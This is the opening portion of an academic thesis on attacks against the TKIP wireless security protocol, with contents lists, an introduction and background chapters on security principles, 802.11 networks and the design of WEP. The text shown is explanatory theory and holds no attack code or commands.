. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Systems . . . . . . . . . . . . . . . . . . . .

101 . 101 . 101 . 102 . 103

8.3

Lessons Learned . . . . . . . . . . . . . . . . . . . . . . . . . 104 8.3.1 Negative Experiences . . . . . . . . . . . . . . . . . . . 104 8.3.2 Positive Experiences . . . . . . . . . . . . . . . . . . . 104 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 . 105 . 106 . 106 . 107 . 107 109

9 Further Work 9.1 Further Improvement of the Attack 9.2 Obtaining Two-way keystream . . 9.3 DHCP DNS Spoofing . . . . . . . 9.4 Fragmentation Attack . . . . . . . 9.5 Key Recovery Attack . . . . . . . . 10 Conclusion

A Source Code 115 A.1 Denial-of-Service Attack . . . . . . . . . . . . . . . . . . . . . 115 A.2 ARP Poisoning Attack . . . . . . . . . . . . . . . . . . . . . . 118 A.3 Improved Attack . . . . . . . . . . . . . . . . . . . . . . . . . 119 B Attached CD-ROM/ZIP-file 133

xii

. . . . . . . . . . . . . . . DHCP packet structure . . . . . . . . .1 4. . .20 2. . . . . . . A wireless network with two stations . .21 2. . . . . . . . . . . . . . . . . . . . DHCP sequence diagram . . . . . . . . . . . . WEP encryption by XOR . . . . . . 13 17 20 20 21 21 22 32 33 34 36 39 40 41 44 44 45 46 47 48 50 52 54 55 56 61 64 70 72 A flowchart of the attack on TKIP . .5 2. . Aircrack-ng successfully cracking a WPA PSK . Success rate of Beck and Tews’ new attack on WEP Illustration of the Chopchop attack . . . . . . . . . TKIP Per-Packet Key Mixing . . . . . . PTW attack recovers the key . . . . . . .14 2. . . . . . . . . . . . . . . . . . . . . . Wireless security timeline . . . . . . . . . . .2 A typical infrastructure based wireless network . . . . . . . . . . Authenticator MIC countermeasures . . . .22 2. .2 4. . . . . .12 2. . . Construction of expanded WEP MPDU . . . . . . . TKIP encapsulation block diagram . . . . . . . . . . . . . . . . . .11 2. . . .4 2.15 2.13 2. . . . . Illustration of the fragmentation attack . . . . . . . . . . .1 3. . . . . . . . .9 2. . .24 2. . . . . . . . . . . . . . . . . . . . . . . . . Tkiptun-ng successfully decrypts an ARP packet . .17 2. . WEP decapsulation block diagram . . . .List of Figures 2. . . Expanded CCMP MPDU . . . . . . . . . . . . . . . . . . . . ARP poisoning attack . . . . . . . . . . . . . . . .1 2. . . . . . TKIP Pairwise Key Hierarchy . . . . . . . . . . . .19 2. TKIP decapsulation block diagram .25 3. . . . . . . . . . . . A flowchart of our improved attack on TKIP . . . . . . .16 2. xiii . .6 2. . . . . . . . . . Sequence diagram of Shared Key Authentication . .23 2. . . . . . . . . . . . . . . .18 2. . . . . . . . .10 2. . . . . . . . . . . . . . . . . . . Supplicant MIC countermeasures .2 2. . . .7 2. . The client is informed of the MIC countermeasures . . . . . . . . An encrypted DHCP ACK packet with 16 unknown bytes . . . . . . . . . . .8 2.3 2. . . Construction of expanded TKIP MPDU . . . . . . WEP encapsulation block diagram . . . . . . .

. . . . . . . The STAs ARP Cache after poisoning attack . . . . . . . . . . 74 75 76 81 90 91 92 93 95 Screenshot of Wireshark live capture . 108 xiv . . . . . . . . . . A successful completion of the original tkiptun-ng attack .1 A sequence diagram showing a DHCP DNS attack and message exchange after the occurrence of an IP conflict Flowchart showing a DHCP DNS attack . . . . . .4. . . . . the . . . . . . . . . . NAT traversal attack using TCP SYN packets . . . . . . . . . . . . . . . . . . .3 4. . . .1 7. The STAs ARP Cache before poisoning attack .3 7. . . . . . Screenshot from the modified attack. . . . . . . . . . . .4 4. . . . . . . . . . . . An illustration of the known and unknown values of the Temporal Key Computation after the attack on TKIP has been performed . .1 7. . The client is informed of the MIC countermeasures . . . . .4 7. . . showing a DHCP ACK being successfully decrypted . . .2 7.5 5.5 9. .

. . . . . . . . . . . . . . . . .1 2. . . . . . . . . . . . . Specifications of the victim’s computer .2 5. . . . .1 5. . . . . .List of Tables 2.1 7. . . . . . .11 . . ARP Packet Structure . . . . . . .2 5. . . . . . . . . . . . . . . . 15 53 78 78 78 80 87 99 The different STAs used for experimentation . . . . . . . .3 5. . Tools of the Aircrack-ng Suite . . . . . . . . . . . Summary of experimentation with different systems . . . . . xv . . . . . Specifications of the attacker’s computer Specifications of the access point . .1 Different wireless protocols of 802. . .4 6. . . . . . . .

xvi .

RC4 S-Box stream generation . . . . . . . . RC4 state vector initial permutation . . . . . . . . . . . . . . . . . . . . . . . 23 23 24 xvii . . .List of Algorithms 1 2 3 RC4 state vector initialization . . . . . . . . . . . . . . . . .

xviii Acronyms .

attacks like these become opening doors for new possibilities for the security community to discover new and more serious attacks. Our motivation for this thesis is based on the fact that we believe this is only the beginning in discovering weaknesses in TKIP. Even though their attack proved to be limited. 29. 33] to deliver the required security. TKIP has been considered to be a secure alternative to WEP. Much resources and money were invested into upgrading old WEP networks to TKIP. Wired Equivalent Privacy (WEP) was developed in order to secure wireless networks and provide security equivalent to the one that could be expected from a wired network. 1. a system with only a small breach should at any cost be avoided and should be considered broken. We hope that our work may contribute to motivate people to migrate their wireless security protocols to the more secure alternative CCMP. When WEP failed miserably [17. explained in a paper how they had discovered an attack against TKIP.Chapter 1 Introduction Today. Wireless security is an exciting field of study. Little previous work had been done until Martin Beck and Erik Tews [10]. we find this a golden op1 . At the same time. wireless networks are so widely deployed that they have become almost ubiquitous. The convenience of installing a wireless network without having to worry about cables overweigh the fact that wireless networks also are prone to become a security risk if not properly configured.1 Motivation Until recently. For this reason. 22. in November 2008. and we aim to find more weaknesses and new application areas of the attacks on TKIP. the Temporal Key Integrity Protocol (TKIP) was built around WEP to fix its flaws and provide backwards compatibility with older equipment.

and view these in a evolutionary perspective which have led to more and more sophisticated attacks on the wireless security protocols. 11]. KoreK discovered a way of obtaining keystream without ever knowing the encryption key. has led to discussions on the impact it will have on the security of TKIP. A modified version of this attack is used to attack TKIP. in contrast to the previous attacks on WEP. We also feel that it is relevant to relate to all previous attacks on WEP [17. The designers of TKIP realized this weakness and consequently implemented the MIC countermeasures. which is based on the Michael algorithm [18]. Their paper from November 2008 [10] describes how a modified version of the Chopchop attack [21].3 Problem Description and Goals The goal for our research is to study the attack by Beck and Tews in detail and look for new application areas. can be executed on a Quality of Service (QoS) or WiFi MultiMedia (WMM) enabled network to obtain keystream for communication from the access point to a station. One subject has been apparent for a long time. Their attack is. In addition to the attacks of Beck and Tews. 32]. we aim to enhance the original attack by Beck and Tews. C programming. 22. Our work is primarily related to the work done by Beck and Tews [10. 33. as well as other protocols that are used in wireless networks. Linux and all other competences that are needed to perform an in-depth cryptanalysis of a security protocol. namely the insecurity of the Message Integrity Code (MIC) used in TKIP. the objectives for this thesis can be summarized as follows: • Give a detailed explanation of the attack on TKIP • Present the theory and history of wireless security in detail .2 Introduction portunity to learn more about network security. Hence. The fact that the MIC is reversible. The new attack on TKIP is based on previous attacks on WEP such as the Chopchop attack by KoreK [21]. by looking for other weaknesses in both the TKIP protocol itself.2 Related Work There has been little research previously regarding attacks on TKIP. not a key recovery attack. 29. our work can also be related to some of the previous attacks on the WEP protocol. 1. Additionally. It enables an attacker to inject packets into the network and may thus lead to attacks on the different control protocols of the network. 1.

we will focus on proof-of-concept 1. since much work regarding this have already been done. a methodology often refers to software development models such as eXtreme Programming.4 Limitations Due to both limitations in time and resources this thesis will focus less on the following: • Statistical cryptanalysis of the underlying ciphers of the TKIP protocol • Experimentation and verification with different combinations of hardware and their success rates • Provide generic code.Limitations • Verify the attack via various tools • Look for application areas of the attack • Seek out new weaknesses or enhancements to the attack 3 1. [13] defines three paradigms used in the context of Computer Science. abstraction and design. This will provide us with the required knowledge needed to . theory. Scrum and more. Even though information security can be considered a subset of computer science. Our work is classified as cryptanalysis. 10]. RFC4949 [27] defines cryptanalysis as: The mathematical science that deals with analysis of a cryptographic system to gain knowledge needed to break or circumvent the protection that the system is designed to provide. Our research will be divided in three. the methodology is often more theoretical. 29. relating our research methodology to such formal paradigms seems unnecessary. we will rather use the previous work as a basis for our further cryptanalysis of TKIP. Examples are the Chopchop attack [21] and several statistical analysis on RC4 [20.5 Research Methodology A research methodology is the formal approach at which research is conducted to achieve the end results. First we will perform a comprehensive study of the related theory. However. Agile development. In computer science. However. with special emphasis on network protocols. The way research is conducted varies among different sciences. In our research. Waterfall. 22. 33. Denning et al. this work will not focus on the mathematical science.

comprising enhancements and modifications of the original attack on TKIP. This way of working is in direct contrast to what is called a direct method. In this way. Rather than following a pre-defined procedure. The chapter finishes by detailing some network protocols relevant to the work presented later in the thesis. Chapter 3: The Attack on TKIP details the attack published by Beck and Tews in November 2008. This chapter also presents some application areas of this improved attack. as well as attacks on the various security protocols. This way of working could be considered an iterative method. This chapter also describes our methodology.6 Document Structure This thesis is organized as follows: Chapter 2: Background presents background theory related to this thesis. where a problem is solved with a finite sequence of operations and the procedure is thus predictable. is the most essential tool. experimentation and enhancement of the previous work by Beck and Tews [10]. the experiment. Chapter 5: Laboratory Environment presents the hardware and software environment used in the experiments conducted throughout this thesis. This chapter also explains some limitations of the attack.4 Introduction continue with an in-depth analysis. . Finally. Each new idea will be depending on outcomes of previous experiments. a chain of iterative events will eventually lead to the final result. the iterative method uses experiments to dynamically obtain more knowledge and close in on the result. It then continues by presenting wireless networks and wireless network security in detail. This chapter starts with some basic security principles. Next. will be added. and countermeasures to prevent it. or the act of experimenting. 1. When working iteratively. Chapter 6: Experiments describes the practical experimentation carried out to verify the original attack and our improvements to it. our own contributions. Chapter 4: An Improved Attack on TKIP explains the details of an improvement to Beck and Tews’ attack made by the authors. we will use experimentation as a tool of verifying the original attack on TKIP.

. the following appendices are included: Appendix A: Source Code lists the source code modifications made by the authors to be able to perform various attacks on TKIP.Document Structure 5 Chapter 7: Results presents the findings from our experimentation and research. Appendix B: Attached CD-ROM/ZIP-file lists the contents of the attached CD/ZIP-file. Additionally. Chapter 9: Further Work presents some ideas for further work on the topic. and discusses some lessons learned during the research. and concludes the thesis. Chapter 10: Conclusion summarizes the main findings of our research. Chapter 8: Discussion evaluates the experimentation and results.

6 Introduction .

This section will focus on the general technical principles of security. 2. These principles go beyond the technical security implementations and include social and organizational aspects as well. For historical and evolutionary reasons. in this context Information Security. 2. Confidentiality RFC4949 [27] defines confidentiality as: 7 . especially the Internet. we will define some general security principles. First. and hence the security of these systems is very important. This chapter will also cover other protocols that we find essential and relevant in order to understand the attack on TKIP. have become a vital part of modern society.1 General Principles Posthumus et al. split information security into three main principles: Confidentiality.Chapter 2 Background This chapter will cover the basic theory that will establish a fundament for the rest of the work in this thesis. we will give a basic introduction to wireless networking and wireless security. and known attacks on these. Next.1. are all relying on the security of computer systems and networks. is increasingly becoming an every-day issue. Aspects ranging from the privacy of users to preserving important infrastructure and public services.1 Security Principles Security. Computers and computer networks. Integrity and Availability [26]. we will give a detailed description of the protocols WEP and TKIP.

1 . Otherwise. (i. an attacker could simply modify the data and re-compute the MIC correspondingly. Any modification of the data will result in a different MIC. To detect modification of data. ranging from simple Cyclic Redundancy Checks (CRC) to MICs based on advanced cryptographic hash functions like MD5 or SHA.1. Confidentiality is a key aspect in maintaining the privacy of users. deletion or replay. some form of shared secret is needed. This means that the password should never be sent over a network in cleartext.e. which is the protection of information that could be derived from observing network traffic flow [28]. Cryptographic hash functions are designed to detect any change in the data. or by encrypting the integrity code. a Message Integrity Code (MIC)1 is often computed of the data. It should also be impossible for an attacker to replay. if a user logs into a computer system the password must be kept secret to maintain confidentiality. which is described in Section 2. Integrity Integrity is defined by Stallings [28] as: The assurance that data received is exactly as sent by an authorized entity. contain no modification.e. As an example.) Information integrity can be compromised both intentionally and unintentionally. Simple MICs can only detect minor modifications like for example transmission errors and does not give protection against intentional tampering of the data. the MIC and/or data need to be encrypted. and it should be computationally infeasible to modify the data without changing the hash value. the authenticity of the In the context of computer networks the term MIC is used instead of the more common MAC (Message Authentication Code). but also that the user should never store it unprotected or disclose it to other persons. or retransmit.8 Background The property that data is not disclosed to system entities unless they have been authorized to know the data. which will indicate that the data has been modified. There are many different means of providing integrity. to avoid confusion with MAC addresses.2. Another aspect of confidentiality when talking about networks is traffic flow confidentiality. To be able to fully protect the integrity of the data. By using an integrity code that takes a secret key as input along with the message. i. a key. Confidentiality is technically achieved through the use of encryption. insertion. If encryption is used. previously sent data without triggering some form of replay protection scheme. this is most often achieved through the use of sequence numbers and/or time stamps.

asymmetric ciphers have two keys. These keys are. always treats a block of data at a time.2 Encryption techniques Encryption is one of the basic techniques in information security.Security Principles 9 message will also be protected. An information system needs to be accessible to its users when needed. The most common scheme. Symmetric ciphers are further divided into two main categories.e. It is common to divide encryption into two different types: symmetricand asymmetric encryption [28]. DoS attacks are typically executed by generating an excessive amount of requests or traffic. and is the main technique used to maintain confidentiality in communications. i. block ciphers and stream ciphers.e. or usable or operational upon demand. by an authorized system entity. This will make legitimate use of the service impossible. The main difference between the two types is that while a symmetric cipher uses the same key for encryption and decryption. Availability is achieved through the use of physical redundancy and safety. An encryption scheme takes some plaintext and a key as input.1. brute-force. Otherwise it fails to meet its requirements..g. By using this method. e. the receiver cannot only verify the integrity of the message. only an entity that holds the secret key is able to construct a valid code. according to performance specifications for the system. . I. which serve a large amount of users and are a vital part of modern society. the block cipher. and proper management and control of system resources [28]. Availability Availability is defined in RFC4949 [27] as: The property of a system or a system resource being accessible.and private-key respectively. banking systems. but also the authenticity of the sender. Exploitation of protocol weaknesses could also compromise the availability of a system. in the case of public-key encryption. or exploit some weakness in the encryption algorithm or protocols using it. referred to as the public. one for encryption and one for decryption. The only way to obtain the plaintext would be to try every permutation of the key. It should be computationally infeasible to obtain the plaintext from the ciphertext without knowledge of the key. The largest intentional threat against availability is Denial-of-Service (DoS) attacks. and outputs a seemingly random output called the ciphertext. This property is especially important in computer networks and servers. and outputs blocks of equal size. 2.

which works on one byte or bit at a time. Decryption works the same way.4. This attribute can be anything.7. The RC4 cipher is an example of a stream cipher. This is due to the properties of the exclusive or (XOR / ⊕) logical operation. Several weaknesses in both WEP and RC4 have been discovered [17. but also that the keystream can be obtained if both the plaintext and ciphertext is known.1. and is a variable key-size stream cipher that operates on bytes [28]. Authentication is defined in RFC4949 [27] as: The process of verifying a claim that a system entity or system resource has a certain attribute value. RC4 was designed in 1987 by Ron Rivest for RSA Security. the system needs to know who the user is and what the user should have access to.3 Authentication and Authorization When a user accesses an information system. This means that if A ⊕ B = C →B⊕C =A →C ⊕A=B Put another way. Authentication consists of two steps [27]: First the claimed attribute is presented to 2 AES is based on the Rijndael cipher developed by Joan Daemen and Vincent Rijmen [14] . Encryption works by taking a pseudorandom keystream and XOR it with the plaintext to make the ciphertext. as opposed to a block of data in block ciphers. 29].10 Background The de facto standard block cipher used today is the Advanced Encryption Standard (AES2 ). This type of cipher typically has a very simple structure. The other type of symmetric encryption is the stream cipher. WEP and RC4 are discussed further in Section 2. and is the cipher used in the Wired Equivalent Privacy (WEP) security standard for wireless networks. 2. which is also used in the newer wireless network security standards. if one knows two of the operands the third can be obtained from the first two. the ciphertext is XORed with the same keystream to produce the original plaintext. In other words it is needed to have some form of authentication and authorization. and should be unpredictable without the knowledge of this key [28]. The pseudorandom keystream is generated from a key. which is symmetrical. for instance a claimed identity. The use of AES in wireless security is further discussed in Section 2. For stream ciphers this means that the keystream is required to encrypt and decrypt messages. It might also be necessary for the system to prove its identity to the user.

and typically takes the form of eavesdropping on an information stream. Stallings [28] defines four categories of active attacks: masquerade. Passive attacks imply that the attacker does not generate traffic or interfere with the network. Authentication does not imply authorization. A replay attack is executed by passively capturing traffic and then replaying it into the network. but some information could be derived or guessed by analyzing communication patterns. in the context of network security. For instance. A masquerade attack is when an entity pretends to be a different entity. or a message modification attack. In a credit card transaction this could for instance be to alter the receiving bank account number. . where the actual contents of the information are not obtained.g. view a specific document or file. Such attacks could compromise the confidentiality of the information if no protection scheme is used. When an entity has been authenticated. This could be accomplished by for instance generating large amounts of bogus traffic to overload a system [28]. active and passive as defined by RFC4949 [27]. Modification of messages. can vary from reordering or delaying messages to actually modifying or deleting the message itself. replay. in other words it is an attack against the availability of a system.1. modification of messages and Denial-of-Service. and secondly present some form of evidence to prove this claim. 2. it could be the case that a user is authenticated but is not authorized to e. the system will determine what resources this entity should be able to access. a replay attack against an insecure credit card transaction can cause additional funds to be transferred. This can be accomplished by for instance changing the Internet Protocol (IP) or Media Access Control (MAC) address to an address that is authorized by the system.Security Principles 11 the system. Another form of passive attack is traffic analysis. DoS attacks prevent the normal or intended use of a system. The fourth active attack is the Denial-of-Service (DoS) attack. Authorization is defined in RFC4949 [27] as: An approval that is granted to a system entity to access a system resource. An active attack involves some form of interaction with the information stream. This could be a value signed with a private key or a shared secret key. can be classified in two main classes.4 Attacks Attacks. This activity is referred to as authorization.

e. One should note that the term shared medium can also been used to describe older wired networks with a hub or a token ring topology. this type of wireless . Even though signals are directed to a specific STA. they need to be able to intercommunicate. they are still broadcasted into the air for anyone to read. Even though there are clear physical differences between wired and wireless networks.2 Structure of Wireless Networks The 802. which are pre-defined divisions of the electromagnetic spectrum where the transmission protocol operates. 2. Thus. To achieve this. the logical link layer LLC) as a regular 802 LAN.2.11 standard requires the wireless networks to appear to higher layers (i. the layers below the MAC layer must be able to handle operations specific to wireless networks such as station mobility. comprising physical layers. Although this might be convenient in many situations. which defines most aspects of wireless communication. there is a flat hierarchy of stations (STA).11 Wireless Networks In 1997.11 standard is a collection of specifications. data-link layers as well as security protocols.2 IEEE 802. the IEEE 802. Hence. all communicating directly to each other without any defined infrastructure or hierarchy. signals are transmitted to stations with a specific address.11 standard describes two types of wireless networks: ad hoc and infrastructure. This standard was further revised in 1999 [2]. All earlier versions of the standard are marked as archived. the working standard is the 2007 version [5]. In a wireless network. a wireless network is referred to as a shared medium in comparison to switched wired networks where traffic are electronically switched to reach a specific address.12 Background 2. 2. In an ad hoc network (also referred to as an Independent Basic Service Set (IBSS)). The Institute of Electrical and Electronics Engineers (IEEE) released their first standard for wireless local area networks (WLAN) called 802.2. Signals are transmitted between stations (STA) on channels.11 [1]. and are thus considered to be obsolete. which is independent of their location within the network.1 General Description A wireless network is somewhat different from a wired ethernet network where an address represents a physical location. The IEEE 802. Today.

In such a setting. by being able to communicate with the Distribution System (DS).IEEE 802. and at the same time they share an ESSID such that STAs can recognize them as the same network.. A DS is the architectural component used to interconnect BSSs. Every AP has its own unique identifier called a Basic Service Set Identifier (BSSID). . the DS can be considered to be a regular 802 LAN. The basic building block of an infrastructure wireless network is the Basic Service Set (BSS).1: A typical infrastructure based wireless network Wireless networks are addressed and identified by their Service Set Identifiers. 13 The infrastructure network is the most common structure of wireless networks. The BSSID is thus used for direct communication between AP and STAs and is included as a part of the 802. each AP have their own unique BSSID which make them distinguishable from one another. STA STA STA AP AP STA DS STA STA BSS1 BSS2 Figure 2. where the ESSID (i. An AP differentiates from a STA.11 Wireless Networks network structure is less used. which is a part of the body frame of the management frames.g. the SSID field is used to contain the ESSID. It has the same form as a 48-bit IEEE 802 MAC address used in wired networks.11 MAC headers. An example of this could be the public WLAN at a campus. there is a field called a Service Set Identifier (SSID).e. A BSS is the area consisting of an Access Point (AP) with the surrounding STAs associated with the AP. E. Figure 2. a Linksys AP would by default apply the text string linksys for the SSID. In cases where there are more than one access point connected to a DS. In more common terms.1 shows a typical infrastructure wireless network. In addition to the BSSID. The SSID is a variable length field of 0 to 32 octets that represent a human readable identifier for the network. the name of the network) remains the same regardless of the location of the STA. The extended service set (ESS) is a system where more than one AP gives access to the same system.

Additionally.4 GHz spectrum. In addition to the physical specifications.11a protocol operated at 54 Mbit/s at the 5GHz band.11 standard of 1997 introduced a security protocol called Wired Equivalent Privacy (WEP) (further described in Section 2. It described how stations could communicate over the 2. two new amendments to the IEEE 802. IEEE 802. namely the 802.11 standard were added. Today. In between the main revisions of the IEEE 802.4).11 1997.4 GHz band.11 was released in 1997 [1].11g protocol is one of the most used protocol in wireless networks.11g 2003 In 2003.11g amendment to the IEEE 802. The new 802. IEEE 802.5). These amendments comprise both security protocols such as the 802. the IEEE 802. many 802.11a and IEEE 802. it aimed to provide the same level of security. they rather introduced new and higher bit rates for wireless communication. in 1999 and 2007.14 Background 2. IEEE 802. which makes it easier to perform statistical attacks on the security protocols (more examples in Section 2.11 standard was released [4]. as one should expect from a regular 802 wired network.11 amendments have been added as supplements to the standard. a revision of the original IEEE 802. the 802.11g amendment does not introduce any new security protocols.11b protocol operated at 11 Mbit/s at the 2.11 1999 In 1999.11b.11 1997 The first standard of IEEE 802.11a protocol achieved on the 5GHz band. while the IEEE 802. This was the same speed as the older IEEE 802. Like IEEE 802. it defines new transmission rates up to 54 Mbit/s at the 2. as with higher bit rates more packets are transferred per time unit. . The IEEE 802. there have been two major revisions of the standard.11i and QoS protocols such as 802.11e.11a and the 802. the IEEE 802.11b amendments. Additionally a less popular infrared option was described.11g protocol was backwards compatible with the 802. this is a relevant advancement. the IEEE 802.4 GHz spectrum with data rates of 2 Mbit/s and lower. From a security perspective. These two new amendments did not introduce any new security protocols. As the name suggests.2.11 standard.11b protocol in order to ease the transition.11 standard of 1997 was released [2].3 History Since the release of IEEE 802.

IEEE 802.11 networks. In 2004.11e was submitted. and hence it is easy for the administrator to control who is allowed to access this trusted zone.4 GHz Max data rate 54 Mbit/s 11 Mbit/s 54 Mbit/s 600 Mbit/s Table 2.4 IEEE 802. Protocol 802. due to their nature.11e is further detailed in Section 2.4 GHz 2.4 GHz 5 GHz / 2.1.3. In a wired network.11. often make wireless network favorable over wired networks.11n Release Date October 1999 October 1999 June 2003 Draft (2009) Frequency 5 GHz 2.11b 802.11i [5] amendment was released. the IEEE 802. Wireless networks are. more prone to security threats than wired networks. Even though it still is a draft standard (early 2009).11a 802.11n The IEEE 802. and hence 802. IEEE 802. computers are connected through wires.3 Wireless Security Due to the steady increase in both reliability and performance. .11i task force was established.Wireless Security IEEE 802. 2.11n amendment should also be mentioned.11i 15 As a part of enhancing the security of IEEE 802. which is further explained in Section 2. The convenience of avoiding the physical infrastructure of a wired network.11 2.11e In 2005.11g 802.11 Transmission Protocols Roundup The table below shows an overview of the different transmission protocols of IEEE 802. the IEEE 802. another amendment called IEEE 802. The attack on TKIP requires QoS to be enabled. as it significantly enhances the transmission rates of wireless networks. the deployment of wireless networks is increasing in both home and business environments.2.1: Different wireless protocols of 802. It defines Quality of Service enhancements for wireless networks. several manufactures have already implemented it in new equipment.9.

4) became a part of the IEEE 802. 2. WEP could no longer be considered secure after being proved to be completely broken [17. If anyone can see the transmitted data.1 IEEE 802. In 1997. To protect the information one needs to apply encryption.11 Security Protocols There exist much confusion and misinterpretation of the abbreviations of the security protocols available in wireless networks. 29]. and can be easily captured by a wireless interface within range on the correct channel. however. if a wireless network is not protected.3. Wired Equivalent Privacy (WEP) (further explained in Section 2. For that reason. one should assume that everything that is being sent could be read by anyone. . the development of wireless security protocols has been a race between the IEEE (the standardization committee) and the WiFi Alliance (the industry). Over the years. traffic propagate in any direction over the air.11 standard. In 2001. It aimed to provide security equivalent to the one you should get in a wired network.16 Background In a wireless network.11 will be given in order to clear up some of the confusion. In this section a historical overview of the security protocols of IEEE 802. namely a key. one have to make sure it is useless to them unless they are in possession of some shared secret.

Wireless Security 17 IEEE Nov. 2008 Practical attacks against WEP and WPA Figure 2. 2004 ChopChop attack Andrea Bittau Sep. The WiFi Alliance became restless in the time consuming process of IEEE to establish an 802. 2001 FMS Attack Wi-Fi Alliance 2003 Introduces WPA IEEE June. RSN included two modes: the TKIP (an improved ex- . Mantin & Shamir 2001 Weaknesses in the key scheduling alg.11i standard. which was released by the WiFi Alliance in 2003. Goldberg & Wagner Jan.11 Fluhrer.11i security standard. one running the Temporal Key Integrity Protocol (TKIP) and another optional mode running the Advanced Encryption Standard (AES). In 2004.7 respectively. Both of these were developed on basis of the current work done by the 802. The standard was coined “Robust Security Network” (RSN) by the IEEE.6 and 2. 1997 WEP IEEE 2001 IEEE 802. 2004 IEEE 802. the IEEE established the 802. Weinmann & Pyshkin 2007 PTW attack Tews & Beck Nov. The WPA standard has two modes.11i task group finished their work on the 802. 2005 The Fragmentation Attack in Practice Andreas Klein 2005 Attacks on the RC4 stream cipher KoreK Sep.11i is ratified 2003 2004 2005 2006 2007 2008 KoreK Sep. Mantin & Shamir Aug.11i task group. which is further explained in Section 2. resulting in the development of WiFi Protected Access (WPA).11i task group. the IEEE 802.2: A timeline of the development of wireless security compared with the development of attacks and discoveries of vulnerabilities To cope with the weaknesses in WEP. 2001 Intercepting Mobile Communications: The Insecurity of 802.11i task group established 1997 1998 1999 2000 2001 2002 Borisov. 2004 Attack on WEP Tews. of RC4 Fluhrer.

wireless networks are implicitly more vulnerable than its wired counterparts.11 wireless LAN networks. 2.18 Background tension of WEP) and the Counter Mode CBC-MAC Protocol (CCMP3 ) with AES encryption. Anyone with a radio antenna and a wireless network card can eavesdrop on the data and also potentially gain network access. and tools to crack WEP in short time with a personal computer became freely available on the Internet [16. The only protection at this layer is the physical protection from someone to plug a network cable into the network equipment.4. A normal wired network provides no confidentiality at the data link layer and all traffic is sent unencrypted as long as no higher layer encryption is used. As the popularity of wireless networks increased. we feel it appropriate and relevant to give this detailed description of WEP. Even though TKIP is the main subject for this thesis. The IEEE introduced WEP in the 802. both from loss of confidentiality and unauthorized network access. and hence the RSN standard was given the name WPA2 by the WiFi Alliance. this abbreviation stands for Counter Mode with Cipher Block Chaining Message Authentication Code Protocol 3 . Already in 2001. The next section will explain the various attacks against WEP. background and technical detail of WEP as well as its weaknesses. Hence. The security of WEP has been thoroughly broken [17. This section will give an overview of the history. WEP was only intended to give Wired Equivalent Privacy.4 Wired Equivalent Privacy (WEP) Wired Equivalent Privacy (WEP) was the security standard implemented in the first 802.3. of which some can be adopted to attack TKIP.2 2.1 History As the name indicates. 17. A timeline of the development of security protocols is displayed in figure 2. several weaknesses were discovered. 7]. 29] and the standard has ever since the introduction of WPA and 802. It is obvious that wireless networks need additional protection. It should be noted that WEP was only designed to be reasonably strong [1] and the designers also had to make sure it was compliant with the strong Fully extended. the WPA brand (by the WiFi Alliance) was well established in access points and routers.11 1997 standard. By then. TKIP is build around WEP and thus inherits many of its features as well as flaws. In other words the same confidentiality as provided by a wired network. As mentioned in Section 2.11i been deprecated [5]. it attracted the attention of the cryptographic community.

Examples are WEPplus by Agere Systems. and therefore can be decrypted separately without any dependence on previous packets. 2. It consists of the 24-bit IV. only the actual message data and the ICV are encrypted. After these restrictions were lifted.11 header. This MPDU is further encapsulated in an 802. The self-synchronizing property necessitate that every packet is encrypted separately. some vendor specific implementations have also been suggested.11 standard.11 WEP standard. and implementable in both hardware and software [1]. which are prone to packet loss. and hence WEP can refer to either version. a 2-bit Key ID subfield and 6 bits of padding [5]. In WEP. which dynamically changes WEP keys. The protocol was also designed to be self-synchronizing.4. This property is very important in wireless networks. further detailed in Section 2. which avoids using the weak IVs that exists in WEP. Such proprietary systems were never fully compatible with the IEEE 802. called WEP-104.5. The ICV consists of a 32-bit CRC-32 value. The details of RC4 are given in Section 2. restrictions on export of cryptography. the reason for this small key is the mentioned U. WEP uses a 40-bit key for encryption. The cryptographic encapsulation and decapsulation is identical whether a 40 or 104-bit key is used. because a single dropped packet would otherwise require some form resynchronization [16].4.S. that was used to encrypt the packet. Another example is Dynamic WEP. In addition to the versions described by the IEEE 802. an Integrity Check Value (ICV) and the Initialization Vector (IV). and the Key ID subfield indicates which secret key.11 headers are sent in the clear. The MPDU consists of three main parts: The actual message or Data.4. The IV and the 802. .2 Protocol Overview The construction of the WEP MPDU (MAC Protocol Data Unit) can be seen in Figure 2.S. The 24-bit IV is used in combination with the shared secret key as input to the RC4 encryption algorithm.3. which tremendously increased the effort required to complete a brute-force attack.Wired Equivalent Privacy (WEP) 19 U. out of four possible. The IV field is also 32 bits in length. which is added to verify the integrity of the packet. export regulations of cryptography at the time. efficient. some vendors implemented a 104-bit version.4.

The ICV is then concatenated to the message. and produce the pseudorandom key-stream used for encryption.4. the IV is added to the beginning of the packet. this is illustrated in Figure 2.20 Background Encrypted (Note) IV 4 Data >=1 ICV 4 Sizes in Octets Init. IV Initialization Vector (IV) WEP Key Plaintext Seed || RC4 PRNG Key Stream Cipher text || CRC-32 Integrity Check Value (ICV) Message Figure 2.3: Construction of expanded WEP MPDU [5] A block diagram depicting the WEP encapsulation can be seen in Figure 2. and also concatenated with the WEP Key. Vector 3 1 octet Pad Key ID 6 bits 2 bits Figure 2.6. Starting at the top of the figure. followed by the encrypted message and ICV.4: WEP encapsulation block diagram [5] The message is first put through a CRC-32 algorithm to produce the ICV. . The resulting data is then XORed with the pseudorandom key-stream to produce the encrypted ciphertext and added to the final WEP packet. This concatenation of the IV and WEP Key is then used to feed the RC4 pseudorandom number generator (PRNG). The final WEP encapsulated packet will then contain the plaintext IV.

